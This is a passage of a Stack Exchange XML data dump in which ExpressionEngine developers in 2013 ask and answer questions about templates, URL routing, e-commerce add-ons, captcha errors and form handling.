LastActivityDate="2013-06-12T09:50:36.480" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11185" PostTypeId="2" ParentId="11162" CreationDate="2013-06-12T09:39:40.663" Score="2" Body="&lt;p&gt;Yes you can do that, but have to drop the reliance on {title_permalink} or {path}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your showroom/index template would catch both the listing and details pages, alternatively you can introduce additional elements to separate listing and details, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/showroom/{cat_url_title}&lt;/code&gt; would use the index template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/showroom/details/{cat_url_title}/{url_title}&lt;/code&gt; would use a template called &quot;details&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your category URL would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/showroom/{cat_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And your product URL would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/showroom/details/{cat_url_title}/{url_title}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your details page would use this channel:entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;portfolio&quot; status=&quot;not Closed&quot; &#xA;    url_title=&quot;{segment_4}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    require_entry=&quot;yes&quot;}&#xA;    {if no_results}...{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#url-title&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#url-title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have the categories_archive tag, you'll need to include the categories variable pair to render out {cat_url_title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your listing page, utilise Low Seg2Cat is one of the easiest options.&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gotolow.com/addons/low-seg2cat/docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your channel:entries tag for a specific category listing page could look like this (no category_archive tag):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;portfolio&quot; status=&quot;not Closed&quot; &#xA;    category=&quot;{last_segment_category_id}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;99&quot;&#xA;    paginate=&quot;both&quot; }&#xA;    {if no_results}...{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously if you want to use the category_archive tag and list out all the categories and their entries, then that wouldn't require the category in the URL, but the above should give you enough to start you off or play with to create what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question touches on a similar listing structure: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11171/displaying-products-by-category/11176#11176&quot;&gt;Displaying Products By Category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-06-12T09:39:40.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11186" PostTypeId="2" ParentId="11182" CreationDate="2013-06-12T09:44:07.167" Score="0" Body="&lt;p&gt;Probably best you contact Ellislab support with this one. Unless you can replicate the issue and have narrowed it down to some specific templates, there is very little anyone here can probably do to help.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-12T09:44:07.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11187" PostTypeId="2" ParentId="11142" CreationDate="2013-06-12T10:04:58.903" Score="2" Body="&lt;p&gt;It's now on the feature request page, so feel free to vote this up!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/store/support&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/store/support&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-12T10:04:58.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11188" PostTypeId="2" ParentId="11059" CreationDate="2013-06-12T10:07:45.687" Score="1" Body="&lt;p&gt;Thank you for your reply. I also found the answer in the STORE docs and give it a test. I used the code below, which worked fine. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA; &amp;lt;a href=&quot;{path='store/detail'}/{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{product_image_one}&quot; alt=&quot;{title}&quot; height=&quot;100&quot; width=&quot;100&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2013-06-12T10:07:45.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11190" PostTypeId="2" ParentId="11183" CreationDate="2013-06-12T10:36:14.167" Score="3" Body="&lt;p&gt;I posted this as a bug report to Ellis Lab and followed it up with this comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there is a misunderstanding on the meaning of “European” format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default the dates are shown as mm/dd/yy - which is a US centric format.&#xA;Switching to “European” changes the format to yyyy-mm-dd - this is certainly more european but is actually ISO 8601 format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the expectation was for “European” to be simply dd/mm/yy (or dd-mm-yyyy). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same basic idea as the US format but showing the day before the month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set a custom date format for entry listings in the CP by using Zenbu&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-06-12T14:46:27.290" LastActivityDate="2013-06-12T14:46:27.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11191" PostTypeId="2" ParentId="11180" CreationDate="2013-06-12T11:40:04.557" Score="1" Body="&lt;p&gt;Freeform saves submitted data in its own table, so it's not saved as a channel entry. Depending on how sophisticated you need your form to be, however, I have accomplished what you're looking for thanks to a great post by Low called &lt;a href=&quot;http://loweblog.com/freelance/article/user-generated-forms-in-ee/&quot; rel=&quot;nofollow&quot;&gt;User generated forms in EE&lt;/a&gt;.  What Low explains in the article is that with a bit of planning, and ideally with his free &lt;a href=&quot;http://devot-ee.com/add-ons/low-freeform-field&quot; rel=&quot;nofollow&quot;&gt;Low Freeform Field&lt;/a&gt; add-on along with &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt;, you can create forms with channel entries.  He only takes it so far in the post - but I can tell you that I have taken it further by hooking in jQuery validation, as well as used the &lt;a href=&quot;http://devot-ee.com/add-ons/freeform-templates&quot; rel=&quot;nofollow&quot;&gt;Freeform Templates&lt;/a&gt; add-on to make the experience even simpler. If you plan it out and get a bit creative, it can be quite powerful. It will never be the easy drag and drop to create a form system that &lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;Freeform Pro&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/forms&quot; rel=&quot;nofollow&quot;&gt;Forms&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow&quot;&gt;Proform&lt;/a&gt; are, nor can you easily do conditional field triggers, but for straight forward applications, it can put a lot of power in the editor's hands.  I'd recommend you read through Low's post and see if you can come up with creative ways to extend his example to possible suit your purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick caveat - I haven't tried this approach in a little while so I don't know how recent a version of EE the approach would be compatible with. I don't have any reason to believe it wouldn't work with the latest version of either add-on and EE 2.5.5, but I've certainly never tried it with 2.6.1.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-12T11:40:04.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11192" PostTypeId="1" AcceptedAnswerId="11204" CreationDate="2013-06-12T12:04:05.237" Score="0" ViewCount="361" Body="&lt;p&gt;How can I keep paragraphs intact and not converted to line breaks when text pasted from Word in Wygwam?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am copying and pasting from Word in Wygwam. The text in Word has paragraphs but when pasted into Wygwam field it's converted to line breaks (br tags).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting or configuration to allow me keep the return carriages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-06-12T17:22:35.787" Title="How to keep paragraphs intact and not converted to line breaks when text pasting from Word in Wygwam" Tags="|wygwam|wysiwyg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11194" PostTypeId="1" CreationDate="2013-06-12T14:29:30.717" Score="1" ViewCount="510" Body="&lt;p&gt;I want to pass the item description from STORE to PayPal Express. At the moment in PayPal I see only the order number. All the other details are passed such as billing details, but not an item description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the CI Merchant GitHub Forkbut its still the same? I made sure I replaced the current file with: system/expressionengine/third_party/store/ci-merchant/libraries/merchant/merchant_paypal_base.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea what I am doing wrong or if anyone knows if its possible to pass an item or product description from STORE to PAYPAL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest version of both EE and Store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graham&lt;/p&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2013-12-10T08:33:46.980" Title="Item description from STORE to PayPal Express" Tags="|expresso-store|paypal-express-checkout|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11195" PostTypeId="1" CreationDate="2013-06-12T14:38:07.807" Score="0" ViewCount="186" Body="&lt;p&gt;I have been building a new e-commerce site using CartThrob2, which is a great add-on I have to say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one last issue is leaving me a little frustrated. I need to be able to automatically send out an email notification to newly registered members (which includes their email and password for logging in) once they have been through the checkout process and CartThrob adds them to the members section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all working fine otherwise, but there isn't an event for new member registration or similar in the notifications settings of CartThrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about and tried to use MX Notify Control, but that doesn't seem to work with CartThrob very well as no email comes through to the new member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also read about Postmaster add-on, but after trying MX Notify Control and having no success I'm a little skeptical about paying for it unless I know for sure it will work. Plus it seems a bit overkill for what I need here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of another way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe creating a custom email notification withing the Design &gt; Message Pages section on the CP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be gratefully received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2013-06-12T14:38:07.807" Title="How to create an email notification (incl email/password) for new members registered via CartThrob checkout process?" Tags="|members|cartthrob|notification|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11196" PostTypeId="1" AcceptedAnswerId="11213" CreationDate="2013-06-12T14:47:22.077" Score="2" ViewCount="174" Body="&lt;p&gt;Is it possible to access the modifier information in an email template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to tell the costumer what they baught, i can tell them the product name but not the modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can tell them this for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey you baught the cool t-shirt!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i cannot tell them this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey you baught the cool t-shirt in the color YELLOW!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help&lt;/p&gt;&#xA;" OwnerUserId="1496" LastActivityDate="2013-06-18T00:32:43.767" Title="Modifier information in the Order Information Email template" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11198" PostTypeId="2" ParentId="11196" CreationDate="2013-06-12T15:07:47.057" Score="0" Body="&lt;p&gt;Yes, totally possible. The detail isn't held in the orders channel, usually just the purchased items channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you open the a new channel entries tag and pass the search:purchased_item_order_id=&quot;{order_id}&quot; - it will then give you access to the channel fields in that entries loop.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-06-12T15:07:47.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11199" PostTypeId="1" AcceptedAnswerId="11218" CreationDate="2013-06-12T15:19:46.437" Score="0" ViewCount="60" Body="&lt;p&gt;I'm looking to find a way to show associated categories when viewing lists of files within the file module in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Zenbu can show this information but it only works with Entries and not Files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any know of a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-13T06:44:27.113" Title="Show categories in file module listing in Controlpanel" Tags="|categories|control-panel|files|zenbu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11200" PostTypeId="1" CreationDate="2013-06-12T15:21:32.213" Score="1" ViewCount="479" Body="&lt;p&gt;I recently upgraded a client site from 2.5.5 to 2.6.1 and upgraded Freeform to version 4.0.12 in the process the Captcha on all the freeform contact forms generates an error even after careful entry:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must submit the word that appears in the image&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I contacted Solspace and they could not replicate the problem or help me fix it, so I am looking for something I may have overlooked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;For security, please enter in the word you see.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{freeform:captcha}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input style=&quot;border-color:#ccc;&quot; type=&quot;text&quot; name=&quot;captcha&quot; size=&quot;18&quot; class=&quot;text_input&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked the path to the Captcha images and the folder permissions are set to 777. It is required of logged in members. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I may have overlooked in this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Here is the link to the Solspace forum on this topic: &lt;a href=&quot;http://www.solspace.com/forums/viewthread/17083/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/17083/&lt;/a&gt;. It is marked as resolved, but the problem still exists. They just ran out of ideas.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2013-06-18T12:58:14.807" LastActivityDate="2014-03-24T18:46:19.070" Title="Why do I get a Captcha Error?" Tags="|solspace-freeform|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11201" PostTypeId="1" AcceptedAnswerId="11208" CreationDate="2013-06-12T16:20:28.583" Score="1" ViewCount="368" Body="&lt;p&gt;When a user tries to log in and fails because the username or password is incorrect, he is redirected to the ugly EE error page saying &quot;The existing username and/or password you submitted are not valid&quot;. How can I redirect to a custom page (basically the same log in page with a little red error message added to it) instead? The EE user guide doesn't seem to say anything.&lt;/p&gt;&#xA;" OwnerUserId="1651" LastActivityDate="2013-06-29T00:39:43.953" Title="Redirect to custom error page after user fails to log in" Tags="|login|redirects|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11202" PostTypeId="2" ParentId="11194" CreationDate="2013-06-12T16:29:58.277" Score="1" Body="&lt;p&gt;you'll need to modify &lt;code&gt;merchant_paypal_express.php&lt;/code&gt; if you want to include transaction details with the payment request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On or around line 84 you'll see the &lt;code&gt;_build_authorize_or_purchase&lt;/code&gt; method where the details are passed on to Paypal. You'll need to edit this to include the description with the &lt;a href=&quot;http://www.paypalobjects.com/en_US/ebook/PP_APIReference/expresscheckout.html&quot; rel=&quot;nofollow&quot;&gt;OrderDescription&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-12T16:29:58.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11203" PostTypeId="2" ParentId="11092" CreationDate="2013-06-12T17:17:07.210" Score="1" Body="&lt;p&gt;Take a look here...  make sure &quot;&lt;strong&gt;&lt;a href=&quot;http://ee1docs.com/cp/admin/weblog_administration/global_weblog_preferences.html&quot; rel=&quot;nofollow&quot;&gt;Cache Dynamic Section Queries?&lt;/a&gt;&lt;/strong&gt; &quot; is set to &quot;NO&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find this setting here in the CP:&#xA;&lt;strong&gt;Admin  ›  Section Administration  ›  Global Section Preferences&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It's also possible that your EE cache isn't clearing for some reason so I'd suggest FTPing to the server and manually clearing the cache directories.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-06-12T17:17:07.210" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11204" PostTypeId="2" ParentId="11192" CreationDate="2013-06-12T17:22:35.787" Score="1" Body="&lt;p&gt;You should add the icon Paste From Word into your WYGWAM settings it looks like this:&lt;img src=&quot;https://i.stack.imgur.com/TZxtY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That'll keep basic formatting intact for you. Paste from plain text doesn't keep basic formatting. Paste from Word is handy when you are pasting content from other websites thave inline styles implemented as it removes all of that too!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-06-12T17:22:35.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11205" PostTypeId="2" ParentId="11200" CreationDate="2013-06-12T17:47:24.007" Score="1" Body="&lt;p&gt;Did you update Freeform to latest version aswell? &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Current&lt;/a&gt; is 4.0.12.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-12T17:47:24.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11206" PostTypeId="2" ParentId="11200" CreationDate="2013-06-12T18:14:09.507" Score="0" Body="&lt;p&gt;perhaps over your allowed diskspace on the account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we had this with a site recently and it turned out the automated backups were maxing out the server space and caused the generated captcha not to work.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-06-12T18:14:09.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11207" PostTypeId="1" CreationDate="2013-06-12T18:36:20.613" Score="1" ViewCount="97" Body="&lt;p&gt;So I have a safecracker form that presents different fields to different users. Think admin controls vs user controls in the same form.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;channelName&quot; url_title=&quot;{segment_1}&quot; return=&quot;/{segment_1}&quot; include_jquery=&quot;no&quot; datepicker=&quot;no&quot; require_entry=&quot;yes&quot; class=&quot;form-horizontal&quot; preserve_checkboxes=&quot;yes&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is that the user version of the form, which does not display the admin only fields, ends up wiping the values in the DB for those fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not presenting hidden fields and I not rendering the fields to the &quot;user&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution to preventing fields not presented to the user from being cleared? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're doing it wrong is an acceptable answer as long as you have a solution :-p&lt;/p&gt;&#xA;" OwnerUserId="635" LastEditorUserId="197" LastEditDate="2013-09-17T02:00:02.200" LastActivityDate="2013-10-17T02:58:35.283" Title="Preserving safecracker fields" Tags="|safecracker|forms|fields|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11208" PostTypeId="2" ParentId="11201" CreationDate="2013-06-12T18:58:14.303" Score="1" Body="&lt;p&gt;@Madc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this within an EE template? Or are you talking about logging into the control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking templates, you may want to use ObjectiveHTML's add-on &lt;a href=&quot;http://devot-ee.com/add-ons/authenticate&quot; rel=&quot;nofollow&quot;&gt;Authenticate&lt;/a&gt;.  Works like a charm and returns errors inline (if that's what you're looking for instead of EE's default page).&lt;/p&gt;&#xA;" OwnerUserId="504" LastActivityDate="2013-06-12T18:58:14.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11209" PostTypeId="1" AcceptedAnswerId="11513" CreationDate="2013-06-12T19:32:35.743" Score="0" ViewCount="261" Body="&lt;p&gt;In a template (any template, EE 2.6.1) I try to add the new twitter timeline code (&lt;a href=&quot;https://dev.twitter.com/docs/embedded-timelines&quot; rel=&quot;nofollow&quot;&gt;https://dev.twitter.com/docs/embedded-timelines&lt;/a&gt;)  but end up with an 500 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is de twitter code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;twitter-timeline&quot; data-dnt=&quot;true&quot; href=&quot;https://twitter.com/the-username&quot;  data-widget-id=&quot;MY-WIDGET-ID&quot;&amp;gt;Tweets by @the-username&amp;lt;/a&amp;gt;&#xA;&amp;lt;script&amp;gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&quot;://platform.twitter.com/widgets.js&quot;;fjs.parentNode.insertBefore(js,fjs);}}(document,&quot;script&quot;,&quot;twitter-wjs&quot;);&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When submitting the code I get an internal server error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested the code, made a plain html file, uploaded via ftp, everything works perfect.&#xA;I use the exact same code: copy-paste it in a template and get the internal server error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to get this to work?&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-06-26T19:02:09.237" Title="Embed the new twitter timeline - via the CP - error 500" Tags="|control-panel|twitter|error-500|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11210" PostTypeId="2" ParentId="11209" CreationDate="2013-06-12T20:06:27.367" Score="0" Body="&lt;p&gt;I would guess that your server has &lt;code&gt;mod_security&lt;/code&gt; enabled, which is detecting &lt;code&gt;script&lt;/code&gt; tags in your &lt;code&gt;POST&lt;/code&gt; and throwing a fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling &lt;code&gt;mod_security&lt;/code&gt; via &lt;code&gt;.htaccess&lt;/code&gt; doesn't always work (you may have to contact your host instead), but you can try puttig this in the &lt;code&gt;.htaccess&lt;/code&gt; file which resides in the same directory as your &lt;code&gt;admin.php&lt;/code&gt; file (or EE system folder):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;SecFilterEngine Off&#xA;SecFilterScanPOST Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-12T20:06:27.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11211" PostTypeId="1" AcceptedAnswerId="11212" CreationDate="2013-06-12T20:56:42.983" Score="1" ViewCount="664" Body="&lt;p&gt;I have a page on my site: mysite.com/index.php/staff/staff-bio/john-smith&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this 404 redirect: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results OR segment_2 != &quot;staff-bio&quot; OR segment_4 != &quot;&quot;}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a related note, I'm using the require_entry=&quot;yes&quot; option in my staff-bio template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This redirect statement catches the problem it staff-bio is not segment 2, and if extra segments are added to the end, but if I were to change &quot;john-smith&quot; to just &quot;john&quot; in the url, or enter some other invalid path, it doesn't redirect.  It just goes to a blank template page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2016-08-31T00:18:24.983" Title="404 redirect with multiple segments not working" Tags="|conditionals|404|no-results|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11212" PostTypeId="2" ParentId="11211" CreationDate="2013-06-12T22:02:25.730" Score="4" Body="&lt;p&gt;This looks like a bug on the no_results conditional, to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May I suggest you something? Let's change your approach to this. Look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;. You should take advantage of the parsing order and do not let your code run if you can avoid. So, use simple conditionals around the channel:entries variable pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, in the two first situations, the parsing process will pass right from the stage 13, &lt;strong&gt;simple conditionals&lt;/strong&gt;, to the 20, &lt;strong&gt;redirect variable&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4}{redirect=&quot;404&quot;}{/if}&#xA;{if segment_2 != &quot;staff-bio&quot;}{redirect=&quot;404&quot;}{/if}&#xA;{if segment_2 == &quot;staff-bio&quot;}&#xA;    {if segment_4 == &quot;&quot;}&#xA;        {exp:channel:entries [...] require_entry=&quot;yes&quot;}&#xA;            {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;        {/exp:cahnnel:entries}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2016-08-31T00:18:24.983" LastActivityDate="2016-08-31T00:18:24.983" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11213" PostTypeId="2" ParentId="11196" CreationDate="2013-06-12T22:05:33.057" Score="4" Body="&lt;p&gt;In your email template you can do something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;Item - {title} - {modifiers}{modifier_value}{/modifiers}, &#xA;Qty - {item_qty}, &#xA;Item Total - {item_total}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the variables available in the orders tag pair (&lt;a href=&quot;https://exp-resso.com/docs/store/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; should be available to you in the email templates. The orders tag allows for all of the &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html&quot; rel=&quot;nofollow&quot;&gt;checkout variables&lt;/a&gt; plus the additional variables for the order details.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-06-18T00:32:43.767" LastActivityDate="2013-06-18T00:32:43.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
